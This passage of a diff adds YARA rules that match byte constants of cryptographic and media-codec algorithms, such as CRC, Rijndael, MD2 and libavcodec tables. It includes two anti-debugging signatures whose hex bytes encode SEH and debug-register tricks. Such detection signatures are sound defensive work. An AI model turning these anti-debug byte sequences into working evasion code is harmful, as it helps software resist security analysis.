fe6a09e5ffffffc3fe610b7400000023fe72d083ffffffe3fe57d691fffffff3fe7b5df400000013fe4e6caa00000013fe83b0e200000033fe44cf31fffffff3fe8bc805ffffffd3fe3affa200000043fe93a223ffffffc3fe30ff7fffffffd3fe9b3e0400000003fe26d05400000043fea29a7a00000023fe1c73b200000023fea9b663ffffffe3fe11eb3600000033feb090a5ffffffd3fe07387800000043feb7283600000013fdf8ba4dffffff93febd7c0a00000013fde2b5cdfffffff3fec38b2fffffffd3fdcc66e800000053fec954b200000003fdb5d10200000003feced7b000000003fd9ef79200000063fed4134e00000003fd87de2a00000023fed906bbffffffd3fd70884dffffffe3feddb13c00000043fd58f9a600000043fee2121000000033fd4135c3ffffffe3fee6289000000023fd29406000000073fee9f41600000043fd111d25ffffff73feed740dffffffc3fcf19f8fffffffb3fef0a7f000000023fcc0b82400000003fef38f39ffffffe3fc8f8b7800000103fef6297dfffffff3fc5e213ffffffff3fef8765000000043fc2c810a00000083fefa7557ffffffd3fbf564d7ffffff93fefc2647ffffffc3fb917a69ffffff23fefd88da00000043fb2d51f5fffffe83fefe9cda00000043fa91f651fffffe23feff621dfffffff3f99214fc00000303feffd88600000003ff000000000000000000000000000003feff621dfffffff3fa91f65ffffffd53fefd88da00000043fb917a6c000000f3fefa7557ffffffd3fc2c8105ffffff23fef6297bffffffd3fc8f8b84000000a3fef0a7f000000023fcf19f99ffffffc3fee9f41600000043fd29406200000003fee2121000000033fd58f9a7ffffffd3fed906bbffffffd3fd87de2bffffffb3feced7b000000003fdb5d10000000073fec38b2e00000043fde2b5d3ffffffc3feb72833fffffff3fe073879ffffffd3fea9b661ffffffc3fe1c73b400000043fe9b3e0400000003fe30ff7fffffffd3fe8bc805ffffffd3fe44cf3400000013fe7b5df1fffffff3fe57d69400000013fe6a09e5ffffffc3fe6a09e5ffffffc3fe57d691fffffff3fe7b5df400000013fe44cf31fffffff3fe8bc805ffffffd3fe30ff7fffffffd3fe9b3e0400000003fe1c73b200000023fea9b663ffffffe3fe07387800000043feb7283600000013fde2b5cdfffffff3fec38b2fffffffd3fdb5d10200000003feced7b000000003fd87de2a00000023fed906bbffffffd3fd58f9a600000043fee2121000000033fd29406000000073fee9f41600000043fcf19f8fffffffb3fef0a7f000000023fc8f8b7800000103fef6297dfffffff3fc2c810a00000083fefa7557ffffffd3fb917a69ffffff23fefd88da00000043fa91f651fffffe23feff621dfffffffbe6777a5bd6ad3cd3ff0000000000000bfa91f681fffffcb3feff621dfffffffbfb917a81fffffe63fefd88da0000004bfc2c811400000093fefa7557ffffffdbfc8f8b84000000a3fef6297bffffffdbfcf19f99ffffffc3fef0a7f00000002bfd29406600000043fee9f4140000002bfd58f9ac00000013fee212100000003bfd87de2ffffffff3fed906bbffffffdbfdb5d10000000073feced7b00000000bfde2b5d9ffffff93fec38b2e0000004bfe073879ffffffd3feb72833fffffffbfe1c73b7fffffff3fea9b6600000003bfe30ff81fffffff3fe9b3e040000000bfe44cf31fffffff3fe8bc807fffffffbfe57d69600000033fe7b5defffffffdbfe6a09e5ffffffc3fe6a09e5ffffffcbfe7b5df600000033fe57d68fffffffdbfe8bc807fffffff3fe44cf31fffffffbfe9b3e0800000043fe30ff7a0000000bfea9b663ffffffe3fe1c73b20000002bfeb72833fffffff3fe073879ffffffdbfec38b31fffffff3fde2b5cc0000006bfeced7b000000003fdb5d0fdffffffcbfed906c000000013fd87de200000001bfee21211ffffffc3fd58f9a3ffffff9bfee9f41600000043fd2940660000004bfef0a7f000000023fcf19f8a0000010bfef6297dfffffff3fc8f8b820000011bfefa7557ffffffd3fc2c80f4000000dbfefd88da00000043fb917a5fffffff1bfeff621dfffffff3fa91f5f9ffffff53ff000000000000000000000000000003fefe9cda00000043fb2d5209fffffeb3fefa7557ffffffd3fc2c8105ffffff23fef38f39ffffffe3fcc0b825ffffff93fee9f41600000043fd29406200000003feddb13c00000043fd708853ffffffb3feced7b000000003fdb5d10000000073febd7c0a00000013fdf8ba5000000043fea9b661ffffffc3fe1c73b400000043fe93a225ffffffe3fe3affa200000043fe7b5df1fffffff3fe57d69400000013fe610b7400000023fe72d083ffffffe3fe44cf31fffffff3fe8bc805ffffffd3fe26d055ffffffd3fea29a7a00000023fe07387800000043feb7283600000013fdcc66e800000053fec954b200000003fd87de2a00000023fed906bbffffffd3fd4135c9ffffffb3fee6288e00000003fcf19fa0000000b3fef0a7f000000023fc5e213ffffffff3fef8765000000043fb917a69ffffff23fefd88da00000043f992157bfffff913feffd8860000000bfa91f681fffffcb3feff621dfffffffbfbf564ee00000193fefc26460000003bfc8f8b84000000a3fef6297bffffffdbfd111d23ffffffe3feed740dffffffcbfd58f9a3ffffff93fee212100000003bfd9ef795ffffff83fed4134bffffffebfde2b5d9ffffff93fec38b2e0000004bfe11eb37ffffffc3feb090a40000004bfe30ff81fffffff3fe9b3e040000000bfe4e6cac00000033fe83b0e00000001bfe6a09e5ffffffc3fe6a09e5ffffffcbfe83b0e000000013fe4e6cac0000003bfe9b3e0400000003fe30ff81fffffffbfeb090a400000043fe11eb37ffffffcbfec38b2e00000043fde2b5d9ffffff9bfed4134e00000003fd9ef78e0000002bfee21211ffffffc3fd58f9a3ffffff9bfeed740dffffffc3fd111d23ffffffebfef6297dfffffff3fc8f8b820000011bfefc264600000033fbf564ebffffffcbfeff621dfffffff3fa91f679fffffe7bfeffd8860000000bf9921508000004ebfefd88da0000004bfb917a8e0000004bfef876500000004bfc5e21520000009bfef0a7f00000002bfcf19fa0000000bbfee6288e0000000bfd4135cc0000006bfed906bbffffffdbfd87de2a0000002bfec954b20000000bfdcc66e80000005bfeb728360000001bfe0738780000004bfea29a7c0000004bfe26d0520000002bfe8bc80a0000001bfe44cf2fffffffdbfe72d081ffffffcbfe610b77ffffffebfe57d691fffffffbfe7b5df40000001bfe3affa20000004bfe93a225ffffffebfe1c73abffffffcbfea9b6680000002bfdf8ba4dffffff9bfebd7c0a0000001bfdb5d0f60000006bfeced7b20000002bfd708857fffffffbfeddb13a0000002bfd294059ffffff8bfee9f4160000004bfcc0b8380000003bfef38f39ffffffebfc2c80fe000000ebfefa7557ffffffdbfb2d523e000000dbfefe9cda00000043ff000000000000000000000000000003fefd88da00000043fb917a6c000000f3fef6297bffffffd3fc8f8b84000000a3fee9f41600000043fd29406200000003fed906bbffffffd3fd87de2bffffffb3fec38b2e00000043fde2b5d3ffffffc3fea9b661ffffffc3fe1c73b400000043fe8bc805ffffffd3fe44cf3400000013fe6a09e5ffffffc3fe6a09e5ffffffc3fe44cf31fffffff3fe8bc805ffffffd3fe1c73b200000023fea9b663ffffffe3fde2b5cdfffffff3fec38b2fffffffd3fd87de2a00000023fed906bbffffffd3fd29406000000073fee9f41600000043fc8f8b7800000103fef6297dfffffff3fb917a69ffffff23fefd88da00000043ff000000000000000000000000000003fef6297bffffffd3fc8f8b84000000a3fed906bbffffffd3fd87de2bffffffb3fea9b661ffffffc3fe1c73b400000043fe6a09e5ffffffc3fe6a09e5ffffffc3fe1c73b200000023fea9b663ffffffe3fd87de2a00000023fed906bbffffffd3fc8f8b7800000103fef6297dfffffffbe6777a5bd6ad3cd3ff0000000000000bfc8f8b84000000a3fef6297bffffffdbfd87de2ffffffff3fed906bbffffffdbfe1c73b7fffffff3fea9b6600000003bfe6a09e5ffffffc3fe6a09e5ffffffcbfea9b663ffffffe3fe1c73b20000002bfed906c000000013fd87de200000001bfef6297dfffffff3fc8f8b8200000113ff000000000000000000000000000003fee9f41600000043fd29406200000003fea9b661ffffffc3fe1c73b400000043fe44cf31fffffff3fe8bc805ffffffd3fd87de2a00000023fed906bbffffffd3fb917a69ffffff23fefd88da0000004bfc8f8b84000000a3fef6297bffffffdbfde2b5d9ffffff93fec38b2e0000004bfe6a09e5ffffffc3fe6a09e5ffffffcbfec38b2e00000043fde2b5d9ffffff9bfef6297dfffffff3fc8f8b820000011bfefd88da0000004bfb917a8e0000004bfed906bbffffffdbfd87de2a0000002bfe8bc80a0000001bfe44cf2fffffffdbfe1c73abffffffcbfea9b6680000002bfd294059ffffff8bfee9f41600000043ff000000000000000000000000000003fed906bbffffffd3fd87de2bffffffb3fe6a09e5ffffffc3fe6a09e5ffffffc3fd87de2a00000023fed906bbffffffd3ff000000000000000000000000000003fe6a09e5ffffffc3fe6a09e5ffffffcbe6777a5bd6ad3cd3ff0000000000000bfe6a09e5ffffffc3fe6a09e5ffffffc3ff000000000000000000000000000003fd87de2a00000023fed906bbffffffdbfe6a09e5ffffffc3fe6a09e5ffffffcbfed906bbffffffdbfd87de2a00000023ff000000000000000000000000000003ff000000000000000000000000000003ff000000000000000000000000000003e499bc5cd063887bff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x26d930ac__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000ac30d9265861b24df4516b6bb0c2649b1cf2bdbde8a3d6d644930ff0ccb510106085c93694d4a25d38e47b7b7c77748bd047adad2416c6c688261fe0986b2120345bf806c00a936d6c3a4a4b28a945bb84999c9d70c8f7f6dcf82ed054de3130f8eee8160cbf837da08f5a5be41c55ab482c8c8dbc7de7e6104d3ec030d742409ce79b6668b6f00dc486292b801526db2c25fffdd874949674444db0fc62525050528b76a403e01d0833393b4ca036cbe090efed14c18486b8f15da0a8bc6360048cba46f0ddd12d5ced080b187e07fbb44ededd401fb5b6ec2f6c9064097370c839aa563c68c13d9058181bd4cb17eb78fbcecd8caaa5a6209a7c8060ae8580cc9e5ca638cf37cd94ffeeebd06ce11b7c5c383d880d5356243d8a70ac1b9590002b4cb6f47a27dd584afefb1cd9f10bb0e9282d44b84346e8889a60f8c5a4a054f57d86a0a416ed0c94cfcb4807c03be437191d10667276bc56ab503470b4b098406d966c1106fdc021dfdb84b2d02b2882090ddcd3626670e3bb405079c7c0fc491ee60818758da428acabe0bba35b4c8b7a7db8da111614eac8309cccd7d030fc0ef6c4ad659d689dbcbb2c0eb34b803e6a6d746f0106d85fd820c812e6e064223fc6907354ad3c438d8b78d0827bd4e05b5d20b130368c81e91004a7f6f0a8972fd65cc644bdf0f69d9bb465926b18554b4dec0420264034f9006c6cd227c05c0b01340d606a983db94cdcaeb6bc709e6f9a84cf04f128ffddd7a0d9c2370ce91b11f8b8707a5488a95c101ba6acbc2b7f8a487a14e1e44acdc7f407f30758372a21ac66414a0056986c44c5979ce8f54eba1ca425d1b094fcf738b2e31794823a3160d3515acce3887c8870878c24405eaad01135c17c21ece75cbb9067f08b494104da222aa8eafb0cec79f4fc40492ddab41846b118289f97900e80773c3e5951c86f323a645feb1c20cce4ec8cfc3dca78ad56a1d49d8f87c4d0b14768e068619cb1030a3081da2c7412d5dcd8220cfa2c7367918043beb70865a157a45578715004131afc34ca3cb8a7c5cc14971ceae0c677814cf6aea70cc257a7a0f28e8154a3e5eaf8933cccbc00333c1030ea1ae461817148515857c07747b76c479e919816f5fa34262cdc70b5232cdc85fa0a28d4916184e4484794a976873899afa1ccc8c4ca60f81dec246b121c885bcb3a7c0aa051d03a7977581c6697f42cbfb1007dd4daac4d0dfce8de020c44eedb2ab0bfb0411c8f69673c1515e79025ccc16474a7aac8447e8c8cd7717c20e7a85ad4b6c33178861a17f0a005f75c90dcd1a8c1b7ba04f16e9c4062616cec52b84a1803d321b4330a07a47e34c7084eede1fc1f868a502f5fac14bc505cb88c897a4cdde211e0ed3b3768cb24d7c4fbfdf130aa969a9c9a4fbcd809404c7439996a8068f2012c582b27 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_table_gsm_INVA__16_big_16_
+{
+strings:
+	$a0 = { 33333333333333334b1744447ade740c }
+
+condition:
+	$a0
+}
+
+	
+rule Jpeg_dct_AA_N_scale_factor__flt32___32_lil_32_
+{
+strings:
+	$a0 = { 0000803f868ab13f753da73f1783963f0000803f4e23493fd48b0a3faf428d3e }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc_SCF__flt32___32_big_512_
+{
+strings:
+	$a0 = { 4399aa3f437fffff43553e384331a0994313f5cb42f67ef042cd538742ab0867428e7790426d58364245b4154224aee342092d8a41e4887641be5d16419e91b8418415c8415c0c7441374bd84118aea840fe5cdc40d3e11640b07dc74093038c4074eb5e404c035c4029f061400d8e4e3febd39d3fc470633fa3a1413f884cf03f6312493f3d25673f1d8e183f033d853edaa42b3eb61fbc3e97b4ab3e7cbc633e52862c3e2f5cce3e1212d73df35a5b3dcab5533da8da233d8ca6893d6a517f3d432ec23d2295583d076dc63ce19e803cbbefb73c9c8c213c8266a43c593e303c34f58b3c16bc483bfb1e963bd12d7c3bae3daf3b9123ac3b71cbea3b49696e3b27c5ad3b0bc0403ae8d1d93ac1ef303aa18b263a86900a3a602d1a3a3abc033a1b8bd13a01912339d7da8039b3cd433995c57c3979836e394fd6ff392d20663910360938f0400538c81fa938a6b2fb388adb6f386754a63840b1a8382082a63805b3b737debe0d37b98a44379a8d233780bcfe375679133732a6dd3714d04236f7eae436ce82b136ac04ef368f49ea366eb6a63646d7fd3625a20a3609f81435e5d9e235bf7627359f7bd73584d8cd355d515935385a7a3519901634ffd46a34d519ea34b1825b3493dc9a347654f8344d3091342aeb48340e5f4e33ed2fcd33c5926c33a492d93389162e3364618c333e3cac331e76b83303ff4b32dbe6fd }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_channel_reorder_lfe__8_byt_128_
+{
+strings:
+	$a0 = { 00FFFFFFFFFFFFFF0001FFFFFFFFFFFF0001FFFFFFFFFFFF0001FFFFFFFFFFFF0001FFFFFFFFFFFF020001FFFFFFFFFF000103FFFFFFFFFF02000104FFFFFFFF00010304FFFFFFFF0200010405FFFFFF030400010506FFFF020001040506FFFF000604050203FFFF04020500010607FF05060001070308040402050001060807 }
+
+condition:
+	$a0
+}
+
+	
+rule RRC2___Ron_Rivest_Cipher_Nr__2_Beale__16_lil_512_
+{
+strings:
+	$a0 = { 4700c2002600a50659004c000b0053005d0630005e003f00840010006f005f0054005501cf030e00280040001b0051008b00d5003f005a00600408000f0003007e00e20728004a00f602e5015c02e600b401980246029600fb001c013401e7007c00d300e601e100910172010b00650031018b00bd00110021005800d000c100910001005e004900a001960307011c00f4011a02640175008800db001b00b00082000a00cc011900e5011200b40141005400c8001b01760040018a002400a00118010f004700e000c1032c0010009101270058003d0030010c00150018001b0186005c003f00f600e601aa020700db00b80068010c0312004000cf01da018300a0004f004900b8015f001200400045022200450080006f01cc01110051000c00670034033e006e00610067005e0346003c002505d7011c02d00079007a035a01240096003b00380266020d0078003f00db002c037008f4066300230012001500880068030f001c00aa00580004001e002c00700012009300b401c300400125007a00710006008c000800780031012a003a00cd012c006a002d010d009801a8025d0056007400120252003802090066002600a00159004700d800d802c5033203020026007900c3000e0046019400ea00120037008300ea0069013803050051006f023000c10313001a0021000a004d046d015c005800b50013015a01c900ce00 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab1__16_big_14_
+{
+strings:
+	$a0 = { FFFBFFFDFFFF0011000100100000 }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_1____PQuant____7__32_lil_144_
+{
+strings:
+	$a0 = { 000000000b0000000500000001000000030000000100000002000000030000000200000003000000030000000300000004000000030000000400000005000000030000000500000006000000030000000600000007000000030000000700000000000000050000000800000001000000050000000900000002000000050000000a00000003000000050000000b000000 }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_scale_factor_float__flt64___64_lil_200_
+{
+strings:
+	$a0 = { 000000000000003f000000000000f03e000000000000e03e000000000000d03e000000000000c03e000000000000b03e000000000000a03e000000000000903e000000000000803e000000000000703e000000000000603e000000000000503e000000000000403e000000000000303e000000000000203e000000000000103e000000000000003e000000000000f03d000000000000e03d000000000000d03d000000000000c03d000000000000b03d000000000000a03d000000000000903d000000000000803d }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table1__flt32___32_lil_100_
+{
+strings:
+	$a0 = { f2d83041ebca274168331f4153651041c7f702412a69e140fbfac140d9eea6401ca88f40cc3f774055c654403b1b374026931d40a4a70940b880f03f13c8db3f7fd8c83fe750ba3f14d7ac3f9cc3a23f0046993f216d913f60fb893fade5843f0000803f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_place_411__16_lil_2700_
+{
+strings:
+	$a0 = { 240c1027343300004818240d1028343400014819240e102934350002481a240f142938350003481b2410142838340004481c2411142738330005481d28111426383204054c1d28101425383104044c1c280f1424383004034c1b280e18243c3004024c1a280d18253c3104014c19280c18263c3204004c182c0c18273c33080050182c0d18283c34080150192c0e18293c350802501a2c0f1c2940350803501b2c101c2840340804501c2c111c2740330805501d30111c2640320c05541d30101c2540310c04541c300f1c2440300c03541b300e202444300c02541a300d202544310c015419300c202644320c005418340c2027443310005818340d202844341001581a340e202944351002581c2412102d34390006481e2413102e343a0007481f2414102f343b000848202415142f383b000948212416142e383a000a48222417142d3839000b48232817142c3838040b4c232816142b3837040a4c222815142a383604094c212814182a3c3604084c202813182b3c3704074c1f2812182c3c3804064c1e2c12182d3c390806501e2c13182e3c3a0807501f2c14182f3c3b080850202c151c2f403b080950212c161c2e403a080a50222c171c2d4039080b502330171c2c40380c0b542330161c2b40370c0a542230151c2a40360c0954213014202a44360c0854203013202b44370c07541f3012202c44380c06541e3412202d44391006581e3413202e443a100758203414202f443b10085822241810333403000c4824241910343404000d4825241a10353405000e4826241b14353805000f4827241c1434380400104828241d1433380300114829281d1432380204114c29281c1431380104104c28281b14303800040f4c27281a18303c00040e4c26281918313c01040d4c25281818323c02040c4c242c1818333c03080c50242c1918343c04080d50252c1a18353c05080e50262c1b1c354005080f50272c1c1c344004081050282c1d1c33400308115029301d1c3240020c115429301c1c3140010c105428301b1c3040000c0f5427301a203044000c0e54263019203144010c0d54253018203244020c0c5424341820334403100c5824341920344404100d5826341a20354405100e5828241e103934090012482a241f103a340a0013482b2420103b340b0014482c2421143b380b0015482d2422143a380a0016482e2423143938090017482f28231438380804174c2f28221437380704164c2e28211436380604154c2d282018363c0604144c2c281f18373c0704134c2b281e18383c0804124c2a2c1e18393c090812502a2c1f183a3c0a0813502b2c20183b3c0b0814502c2c211c3b400b0815502d2c221c3a400a0816502e2c231c3940090817502f30231c3840080c17542f30221c3740070c16542e30211c3640060c15542d3020203644060c14542c301f203744070c13542b301e203844080c12542a341e203944091012582a341f203a440a1013582c3420203b440b1014582e24241003340f0018483024251004341000194831242610053411001a4832242714053811001b4833242814043810001c483424291403380f001d483528291402380e041d4c3528281401380d041c4c3428271400380c041b4c33282618003c0c041a4c32282518013c0d04194c31282418023c0e04184c302c2418033c0f081850302c2518043c10081950312c2618053c11081a50322c271c054011081b50332c281c044010081c50342c291c03400f081d503530291c02400e0c1d543530281c01400d0c1c543430271c00400c0c1b543330262000440c0c1a543230252001440d0c19543130242002440e0c18543034242003440f1018583034252004441010195832342620054411101a5834242a10093415001e4836242b100a3416001f4837242c100b341700204838242d140b381700214839242e140a38160022483a242f140938150023483b282f1408381404234c3b282e1407381304224c3a282d1406381204214c39282c18063c1204204c38282b18073c13041f4c37282a18083c14041e4c362c2a18093c15081e50362c2b180a3c16081f50372c2c180b3c17082050382c2d1c0b4017082150392c2e1c0a40160822503a2c2f1c0940150823503b302f1c0840140c23543b302e1c0740130c22543a302d1c0640120c215439302c200644120c205438302b200744130c1f5437302a200844140c1e5436342a20094415101e5836342b200a4416101f5838342c200b44171020583a2430100f341b0024480024311010341c0025480124321011341d0026480224331411381d0027480324341410381c002848042435140f381b002948052835140e381a04294c052834140d381904284c042833140c381804274c032832180c3c1804264c022831180d3c1904254c012830180e3c1a04244c002c30180f3c1b082450002c3118103c1c082550012c3218113c1d082650022c331c11401d082750032c341c10401c082850042c351c0f401b0829500530351c0e401a0c29540530341c0d40190c28540430331c0c40180c2754033032200c44180c2654023031200d44190c2554013030200e441a0c2454003430200f441b1024580034312010441c1025580234322011441d10265804243610153421002a4806243710163422002b4807243810173423002c4808243914173823002d4809243a14163822002e480a243b14153821002f480b283b14143820042f4c0b283a1413381f042e4c0a28391412381e042d4c09283818123c1e042c4c08283718133c1f042b4c07283618143c20042a4c062c3618153c21082a50062c3718163c22082b50072c3818173c23082c50082c391c174023082d50092c3a1c164022082e500a2c3b1c154021082f500b303b1c1440200c2f540b303a1c13401f0c2e540a30391c12401e0c2d540930382012441e0c2c540830372013441f0c2b54073036201444200c2a5406343620154421102a5806343720164422102b5808343820174423102c580a2400101b34270030480c2401101c34280031480d2402101d34290032480e2403141d38290033480f2404141c3828003448102405141b3827003548112805141a382604354c1128041419382504344c1028031418382404334c0f280218183c2404324c0e280118193c2504314c0d2800181a3c2604304c0c2c00181b3c270830500c2c01181c3c280831500d2c02181d3c290832500e2c031c1d40290833500f2c041c1c4028083450102c051c1b40270835501130051c1a40260c35541130041c1940250c34541030031c1840240c33540f3002201844240c32540e3001201944250c31540d3000201a44260c30540c3400201b44271030580c3401201c44281031580e3402201d44291032581024061021342d0036481224071022342e0037481324081023342f0038481424091423382f00394815240a1422382e003a4816240b1421382d003b4817280b1420382c043b4c17280a141f382b043a4c162809141e382a04394c152808181e3c2a04384c142807181f3c2b04374c13280618203c2c04364c122c0618213c2d083650122c0718223c2e083750132c0818233c2f083850142c091c23402f083950152c0a1c22402e083a50162c0b1c21402d083b5017300b1c20402c0c3b5417300a1c1f402b0c3a541630091c1e402a0c3954153008201e442a0c3854143007201f442b0c37541330062020442c0c36541234062021442d1036581234072022442e1037581434082023442f10385816 }
+
+condition:
+	$a0
+}
+
+	
+rule PKCS_DigestDecoration_MD2__8_byt_18_
+{
+strings:
+	$a0 = { 3020300c06082a864886f70d020205000410 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Td2__0xa75051f4U___32_lil_1024_
+{
+strings:
+	$a0 = { f45150a7417e5365171ac3a4273a965eab3bcb6b9d1ff145faacab58e34b9303302055fa76adf66dcc88917602f5254ce54ffcd72ac5d7cb3526804462b58fa3b1de495aba25671bea45980efe5de1c02fc302754c8112f0468da397d36bc6f98f03e75f9215959c6dbfeb7a5295da59bed42d837458d321e0492969c98e44c8c2756a898ef4787958996b3eb927dd71e1beb64f88f017ad20c966acce7db43adf63184a1ae58231519760335362457f64b1e0776bbb84ae81fe1ca008f9942b48705868458f19fdde94876c7b52b7f873ab23d34b72e2021fe3578f55662aabebb20728b52f03c2c5869a7b37d3a5082830f287bf23b2a50302ba6a16ed5c82cf8a2b1c79a792b407f3f0f2694ea1e2da65cdf40506d5be34d11f62a6c48afe2e349d53f3a2a0558a0532e1f6a475eb830b39ec6040aaef715e069f6ebd5110213ef98add963d063eddae05e64d46bd5491b58dc471055d06046fd45060ff15981924fbbdd697e94089cc43d967779ee8b0bd428907888b19e7385bc879dbee7ca1470a427ce90f84f8c91e00000000800983862b3248ed111eac705a6c4e720efdfbff850f5638ae3d1ed52d3627390f0a64d95c6821a65b9bd15436243a2e0a0cb16757930fe7eeb4d2969b1b9e91c0804fc5dc61a220775a694b121c161a93e20abaa0c0e52a223c43e01b121d17090e0b0d8bf2adc7b62db9a81e14c8a9f157851975af4c0799eebbdd7fa3fd6001f79f26725cbcf56644c53bfb5b347e438b762923cbdcc6edb668fce4b863f131d7cadc6342108597134022c68420114a857d24bbd2f83df9ae113229c76da19e1d4b2fb2dcf330860dec52c177d0e3b32b6c1670a999b99411fa48e9472264fca8c48cf0a01a3f7d56d82c3322ef904987c74e38d9c1d1ca8cfea2d498360bf5a6cf817aa528deb7da268ead3fa4bf3a2ce49d78500d925f6a9bcc7e5462468df6c213d890e8b8392e5ef7c382f5af5d9fbe80d0697c93d56fa92d25cfb312acc83b991810a77d9ce86e633bdb7bbb26cd0978596ef4189aec01b74f83a89a95e6656effaa7ee6bc2108cf15efe6e8e7bad99b6f4ace369fead409b029d67ca431afb23f2a3123a5c63094a235c0664e7437bc82fca6ca90e0b0d0a73315d804f14a98ec41f7dacd7f0e5091172ff64d768dd6ef434db0aacc544d96e4df04d19ee3b56a4c1b882cc1b81f65467f515e9d04ea8c015d3587fa73740bfb2e4167b35a1ddb9252d210e93356d66d1347d79a8c61a1377a0cf8598e1413eb893ca9ceee2761b735c91ce1ede5477a3cb1d29c59dff2553f73141879cec773bf37f753eacdfd5f5baa3ddf146f447886dbafca81f368b93ec424382c34a3c25f401d1672c3e2bc0c253c288b490dff4195a83971010c08deb3b4d89ce4566490c1cb7b618432d570b66c48745cb8d04257 }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_8____PQuant____31__32_big_96_
+{
+strings:
+	$a0 = { 000000000000000700000006000000010000000100000002000000010000000200000003000000010000000300000004000000010000000400000005000000010000000500000006000000010000000600000007000000000000000600000008 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_CHAR2_163R1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 24b7b137c8a14d696e6768756151756fd0da2e5c }
+
+condition:
+	$a0
+}
+
+	
+rule SecuDE_random_add__32_lil_32_
+{
+strings:
+	$a0 = { 13115723232119174137312959534743aebc6f4567bd6f45ddbc5f2467355643 }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_distanceStarts__32_big_120_
+{
+strings:
+	$a0 = { 000000010000000200000003000000040000000500000007000000090000000d00000011000000190000002100000031000000410000006100000081000000c10000010100000181000002010000030100000401000006010000080100000c01000010010000180100002001000030010000400100006001 }
+
+condition:
+	$a0
+}
+
+	
+rule Adler_CRC32__0xb8bc6765___32_lil_1024_
+{
+strings:
+	$a0 = { 000000006567bcb88bc809aaeeafb5125797628f32f0de37dc5f6b25b938d79def28b4c58a4f087d64e0bd6f018701d7b8bfd64addd86af23377dfe0561063589f571950fa30a5e8149f10fa71f8ac42c8c07bdfada7c76743087275266fcecd707fad951518112dfbb7a43f9ed0188727e8cf1a428f73a2ac20c6b0c9477a083eaf32a05bc88e18b5673b0ad00087b26938502f0c5fec97e2f059858797e53dd1878665b4e03add5a4f8fcf3f2833778610e4eae37758520dd8ed4068bf51f8a1f82bf0c49f97482a30225a4f579ee2f66f497f9308f5c77da740d518c0fc6d4ed09f352bb7238dc518969fa07f2a271947fdba7c204102928ff410f7e848a83d58149b583fa823b6901d31d3f7a1896acf76140fa8caace1077fbe8460c306d270a05eb7171ce659b8a9f43cdf154c85e7c2d1e0807e690e2fcb7b6b4877c3a20f0dcbc768b17329c704614ca0b8d9f5986f4490ffd3fc7e5066ee1b37da564d27b90e284005b6c6efb0a4a3880c1c1ab0db817fd767399178d22bf41f6e9303f7263b66909a83883f2f91ed589329546044b43107f80cdfa84d1ebacff1a6ecdf92fe89b82e4667179b54027027ecbb48f071de2f4cc93080f9db55e745639ca03f6bf9c783d3176836c1720f8a79cb375de4ae50e15c40ff544e2598e8f673888bae16ef3716f84082049d273ebc241fe92141785599afd7e08bcab05c333bb659ed5ed1e555b07e5047d519ecff6c213b62094687dae7e932c8828e8e70d49eed28b1f951905f56e4823a31583a83098fa7e66e331f08c1860d6da63ab5a4e140bdc186fc052f2949174a4ef5aff376223296119e8a78be2b981dd997204bc9f4782eae48c0c001fdd2a566416a1c5e96f779392a4f97969f5df2f123e505196b4d607ed7f58ed162e7ebb6de5f528e09c237e9b57ad9460068bc21bcd0ea31df888f56633061f9d622049e6a9abda6bd07d8c101bf366eb4ad530908159a4e721dff29cea511867bb774e1c70fcdd91092a8beac2a461119382376a5807566c6d810017a60feaecf729bc973ca22f1a457479618efa939adfdcc5e114506ee4d766389f1ce8d2644dce841f86451792ff9341e9341dab12653bfd69aebe9c6f9b38ca1450b620ef01907694ca1be519b3cdb3627843599929650fe2e2e99b95426fcdee89e12715d8c7716e134ce2e36a9ab498a1145e63f03208183bb7691e0e313f65c5bfd59e949983e55f12106826c44613ed4aace8bc6cfa9377e38417fd65d26c36eb389767cd6eecac46fd61d590ab1a1e1e41e14f38179a84bd769cb13b20e77ab5ca1c2b939c67e0180fea99ce59915240b36a0366e511c8ea7166686c271da3e2cde6f2c49b9d394f081040995e6b8b17b490da31e2eb11b483ed2432d596efbc3f6dbe9a69167511fa9b0cc7ace0c749461b966f10605de }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_40__fitab__16_lil_64_
+{
+strings:
+	$a0 = { 0000000000000000000000020002000200020002000400060008000a000c000c000c000c000a0008000600040002000200020002000200000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_A5_2_goodBtoA__8_byt_15_
+{
+strings:
+	$a0 = { 4800d4328e16a14dcd7b9722265100 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Debug_registers_manipulation__1___8_byt_28_
+{
+strings:
+	$a0 = { 64ff35000000006489250000000031c0f7f0648f050000000083c404 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Rose_s_TRAP__4__1___8_byt_14_
+{
+strings:
+	$a0 = { 0f21f80d002000000f23f80f21f8 }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table3__flt32___32_big_56_
+{
+strings:
+	$a0 = { 40b1449440a830e6409f94704090bcf4408347404061f2544042711c4027546a400fff823ff7d5f23fd5476c3fb78a613f9df2953f89fb60 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_8__16_lil_386_
+{
+strings:
